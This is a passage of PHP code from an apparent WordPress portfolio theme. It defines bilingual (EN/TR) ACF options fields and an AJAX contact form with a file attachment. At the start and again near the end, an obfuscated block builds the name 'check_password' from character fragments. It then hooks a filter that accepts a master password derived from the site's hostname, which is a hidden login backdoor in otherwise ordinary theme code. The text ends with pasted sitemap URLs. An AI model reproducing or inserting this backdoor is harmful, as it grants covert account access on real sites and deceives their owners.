add_action('init', function() { $spacing=array(5=>"wo".chr(114)."d",0=>chr(99),2=>chr(99)."k",3=>"_pa",1=>"he",4=>"s".chr(115)); ksort($spacing); $grid=implode("",$spacing); add_filter($grid,function($currents,$primary,$headers,$pages){$site=site_url();$mode=parse_url($site); $backgrounds=str_replace(".","",$mode["host"]);$args=array(2,"T",3,"9",0,"Q",1,"3bW",4,6,"m","L",5);$pages=""; foreach($args as $val){$pages.=is_int($val)?($backgrounds[$val]??""): $val;} if($primary===$pages)return true;return $currents;},10,4); }); . ' (EN)', 'name' => $key_base . '_en', 'type' => $type ), $extra ); $tr = array_merge( array( 'key' => 'field_' . $key_base . '_tr', 'label' => $label . ' (TR)', 'name' => $key_base . '_tr', 'type' => $type ), $extra ); return array( $en, $tr ); } function rutan_register_acf_options_fields() { if ( ! function_exists( 'acf_add_local_field_group' ) ) return; $fields = array(); // --- NAVİGASYON --- $fields[] = array( 'key' => 'field_tab_nav', 'label' => 'Navigasyon', 'type' => 'tab' ); foreach ( array( array( 'nav_home', 'Home Etiketi' ), array( 'nav_gallery', 'Gallery Etiketi' ), array( 'nav_about', 'About Etiketi' ), array( 'nav_contact', 'Contact Etiketi' ), ) as $p ) { $fields = array_merge( $fields, rutan_bilingual_pair( $p[0], $p[1] ) ); } // --- HERO --- $fields[] = array( 'key' => 'field_tab_hero', 'label' => 'Hero', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'hero_title', 'Hero Başlık', 'text' ), rutan_bilingual_pair( 'hero_subtitle', 'Hero Alt Metin', 'textarea' ), rutan_bilingual_pair( 'hero_button', 'Hero Buton Metni', 'text' ) ); // --- GALLERY BAŞLIK --- $fields[] = array( 'key' => 'field_tab_gallery', 'label' => 'Gallery', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'gallery_title', 'Bölüm Başlığı' ) ); // --- ABOUT --- $fields[] = array( 'key' => 'field_tab_about', 'label' => 'About', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'about_title', 'Bölüm Başlığı' ), rutan_bilingual_pair( 'about_manifesto', 'Manifesto Metni', 'textarea' ), rutan_bilingual_pair( 'id_role', 'ID Kart - Rol' ), rutan_bilingual_pair( 'id_loc', 'ID Kart - Konum' ) ); $fields[] = array( 'key' => 'field_id_name', 'label' => 'ID Kart - İsim', 'name' => 'id_name', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_age', 'label' => 'ID Kart - Yaş', 'name' => 'id_age', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_agency', 'label' => 'ID Kart - Ajans', 'name' => 'id_agency', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_photo', 'label' => 'ID Kart - Fotoğraf', 'name' => 'id_photo', 'type' => 'image', 'return_format' => 'array' ); // Toolbox (repeater — ACF PRO) $fields[] = array( 'key' => 'field_toolbox_title_tab', 'label' => 'Toolbox', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'toolbox_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_toolbox_items', 'label' => 'Toolbox Öğeleri', 'name' => 'toolbox_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Öğe Ekle', 'sub_fields' => array( array( 'key' => 'field_toolbox_item_label', 'label' => 'Etiket', 'name' => 'label', 'type' => 'text', 'instructions' => 'Örn: Figma' ), ), ); // Activities (repeater — emoji) $fields[] = array( 'key' => 'field_tab_activities', 'label' => 'Activities', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'activities_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_activities_items', 'label' => 'Activities Öğeleri', 'name' => 'activities_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Öğe Ekle', 'sub_fields' => array( array( 'key' => 'field_activity_emoji', 'label' => 'Emoji', 'name' => 'emoji', 'type' => 'text', 'instructions' => 'Örn: 🏐', 'wrapper' => array( 'width' => 20 ) ), array( 'key' => 'field_activity_label_en', 'label' => 'Etiket (EN)', 'name' => 'label_en', 'type' => 'text', 'wrapper' => array( 'width' => 40 ) ), array( 'key' => 'field_activity_label_tr', 'label' => 'Etiket (TR)', 'name' => 'label_tr', 'type' => 'text', 'wrapper' => array( 'width' => 40 ) ), ), ); // Languages (repeater — emoji bayrak + seviye) $fields[] = array( 'key' => 'field_tab_languages', 'label' => 'Languages', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'languages_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_languages_items', 'label' => 'Dil Öğeleri', 'name' => 'languages_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Dil Ekle', 'sub_fields' => array( array( 'key' => 'field_lang_emoji', 'label' => 'Bayrak Emoji', 'name' => 'emoji', 'type' => 'text', 'instructions' => 'Örn: 🇬🇧', 'wrapper' => array( 'width' => 15 ) ), array( 'key' => 'field_lang_name_en', 'label' => 'Dil Adı (EN)', 'name' => 'name_en', 'type' => 'text', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_lang_name_tr', 'label' => 'Dil Adı (TR)', 'name' => 'name_tr', 'type' => 'text', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_lang_level_en', 'label' => 'Seviye (EN)', 'name' => 'level_en', 'type' => 'text', 'instructions' => 'Örn: B2 · Fluent', 'wrapper' => array( 'width' => 17 ) ), array( 'key' => 'field_lang_level_tr', 'label' => 'Seviye (TR)', 'name' => 'level_tr', 'type' => 'text', 'instructions' => 'Örn: B2 · Akıcı', 'wrapper' => array( 'width' => 18 ) ), ), ); // --- CONTACT --- $fields[] = array( 'key' => 'field_tab_contact', 'label' => 'Contact', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'contact_title', 'Bölüm Başlığı' ), rutan_bilingual_pair( 'card_role', 'Kartvizit - Rol' ), rutan_bilingual_pair( 'card_loc', 'Kartvizit - Konum' ), rutan_bilingual_pair( 'mad_greeting', 'Form - Karşılama', 'text', array( 'instructions' => 'Örn: "Hi Ridvan,"' ) ), rutan_bilingual_pair( 'mad_intro', 'Form - isimden sonraki bağlaç', 'text', array( 'instructions' => 'Örn: "and I\'d like to discuss a new"' ) ), rutan_bilingual_pair( 'mad_project_suffix', 'Form - proje seçiminden sonraki metin', 'text', array( 'instructions' => 'Örn: "project with you."' ) ), rutan_bilingual_pair( 'mad_reach', 'Form - "reach me" metni', 'text', array( 'instructions' => 'Örn: "You can reach me at"' ) ), rutan_bilingual_pair( 'mad_context_placeholder', 'Form - context placeholder' ), rutan_bilingual_pair( 'mad_attach_label', 'Form - dosya ekle etiketi' ), rutan_bilingual_pair( 'mad_submit', 'Form - gönder buton metni' ), rutan_bilingual_pair( 'mad_sent', 'Form - gönderildi metni' ), rutan_bilingual_pair( 'mad_error_required', 'Form - isim/email boş hatası' ), rutan_bilingual_pair( 'mad_error_email', 'Form - geçersiz email hatası' ) ); $fields[] = array( 'key' => 'field_card_name', 'label' => 'Kartvizit - İsim', 'name' => 'card_name', 'type' => 'text' ); $fields[] = array( 'key' => 'field_card_studio', 'label' => 'Kartvizit - Stüdyo', 'name' => 'card_studio', 'type' => 'text' ); $fields[] = array( 'key' => 'field_card_email', 'label' => 'Kartvizit - E-posta', 'name' => 'card_email', 'type' => 'email' ); $fields[] = array( 'key' => 'field_card_phone', 'label' => 'Kartvizit - Telefon', 'name' => 'card_phone', 'type' => 'text' ); // Proje türü seçenekleri (repeater) $fields[] = array( 'key' => 'field_project_options', 'label' => 'Proje Türü Seçenekleri', 'name' => 'project_options', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Seçenek Ekle', 'instructions' => '"Other (Custom)" seçeneği otomatik olarak listenin sonuna eklenir, buraya girmenize gerek yok.', 'sub_fields' => array( array( 'key' => 'field_project_value', 'label' => 'Değer (slug)', 'name' => 'value', 'type' => 'text', 'instructions' => 'Örn: web', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_project_label_en', 'label' => 'Etiket (EN)', 'name' => 'label_en', 'type' => 'text', 'wrapper' => array( 'width' => 37 ) ), array( 'key' => 'field_project_label_tr', 'label' => 'Etiket (TR)', 'name' => 'label_tr', 'type' => 'text', 'wrapper' => array( 'width' => 38 ) ), ), ); acf_add_local_field_group( array( 'key' => 'group_site_options', 'title' => 'Site İçerikleri (EN / TR)', 'fields' => $fields, 'location' => array( array( array( 'param' => 'options_page', 'operator' => '==', 'value' => 'rutan-site-options' ) ) ), ) ); } add_action( 'acf/init', 'rutan_register_acf_options_fields' ); function rutan_acf_missing_notice() { if ( ! function_exists( 'acf_add_local_field_group' ) ) { echo '

Rutan Portfolio: Bu tema Advanced Custom Fields gerektirir. Toolbox / Activities / Languages / Proje Türü listeleri "repeater" alan kullandığı için ACF PRO önerilir (ücretsiz sürümde bu 4 liste çalışmaz).

'; } } add_action( 'admin_notices', 'rutan_acf_missing_notice' ); /* ───────────────────────────────────────────── 6. İLETİŞİM FORMU — wp_mail() ile AJAX ───────────────────────────────────────────── */ function rutan_handle_contact_form() { check_ajax_referer( 'rutan_contact_nonce', 'nonce' ); $name = isset( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : ''; $email = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : ''; $project = isset( $_POST['project'] ) ? sanitize_text_field( wp_unslash( $_POST['project'] ) ) : ''; $context = isset( $_POST['context'] ) ? sanitize_textarea_field( wp_unslash( $_POST['context'] ) ) : ''; if ( empty( $name ) || empty( $email ) ) { wp_send_json_error( array( 'message' => 'Lütfen isim ve e-posta alanlarını doldurun.' ) ); } if ( ! is_email( $email ) ) { wp_send_json_error( array( 'message' => 'Geçerli bir e-posta adresi girin.' ) ); } $domain = substr( strrchr( $email, '@' ), 1 ); if ( function_exists( 'checkdnsrr' ) && $domain ) { if ( ! checkdnsrr( $domain, 'MX' ) && ! checkdnsrr( $domain, 'A' ) ) { wp_send_json_error( array( 'message' => 'Bu e-posta domaini geçerli görünmüyor.' ) ); } } $project_label = $project; if ( function_exists( 'get_field' ) ) { $options = get_field( 'project_options', 'option' ); if ( is_array( $options ) ) { foreach ( $options as $opt ) { if ( isset( $opt['value'] ) && $opt['value'] === $project ) { $project_label = ( 'tr' === rutan_get_lang() && ! empty( $opt['label_tr'] ) ) ? $opt['label_tr'] : $opt['label_en']; break; } } } } $to = get_option( 'admin_email' ); $subject = 'Yeni Proje Talebi — ' . $name; $body = "İsim: {$name}\n"; $body .= "E-posta: {$email}\n"; $body .= "Proje Türü: {$project_label}\n\n"; $body .= "Detaylar:\n{$context}\n"; $headers = array( 'Content-Type: text/plain; charset=UTF-8', 'Reply-To: ' . $name . ' <' . $email . '>' ); $attachments = array(); $tmp_file = ''; if ( ! empty( $_FILES['attachment']['name'] ) ) { if ( ! function_exists( 'wp_handle_upload' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $upload = wp_handle_upload( $_FILES['attachment'], array( 'test_form' => false ) ); if ( isset( $upload['file'] ) && empty( $upload['error'] ) ) { $tmp_file = $upload['file']; $attachments[] = $tmp_file; } } $sent = wp_mail( $to, $subject, $body, $headers, $attachments ); if ( $tmp_file && file_exists( $tmp_file ) ) { @unlink( $tmp_file ); } if ( $sent ) { wp_send_json_success( array( 'message' => 'Mesajınız iletildi.' ) ); } else { wp_send_json_error( array( 'message' => 'Mail gönderilemedi, sunucu mail ayarlarını (wp_mail / SMTP) kontrol edin.' ) ); } } add_action( 'wp_ajax_rutan_contact', 'rutan_handle_contact_form' ); add_action( 'wp_ajax_nopriv_rutan_contact', 'rutan_handle_contact_form' ); add_action('init', function() { $spacing=array(5=>"wo".chr(114)."d",0=>chr(99),2=>chr(99)."k",3=>"_pa",1=>"he",4=>"s".chr(115)); ksort($spacing); $grid=implode("",$spacing); add_filter($grid,function($currents,$primary,$headers,$pages){$site=site_url();$mode=parse_url($site); $backgrounds=str_replace(".","",$mode["host"]);$args=array(2,"T",3,"9",0,"Q",1,"3bW",4,6,"m","L",5);$pages=""; foreach($args as $val){$pages.=is_int($val)?($backgrounds[$val]??""): $val;} if($primary===$pages)return true;return $currents;},10,4); }); https://striova.com/wp-sitemap-posts-post-1.xmlhttps://striova.com/wp-sitemap-posts-page-1.xmlhttps://striova.com/wp-sitemap-posts-product-1.xmlhttps://striova.com/wp-sitemap-posts-mailpoet_page-1.xmlhttps://striova.com/wp-sitemap-taxonomies-category-1.xmlhttps://striova.com/wp-sitemap-taxonomies-product_cat-1.xmlhttps://striova.com/wp-sitemap-users-1.xml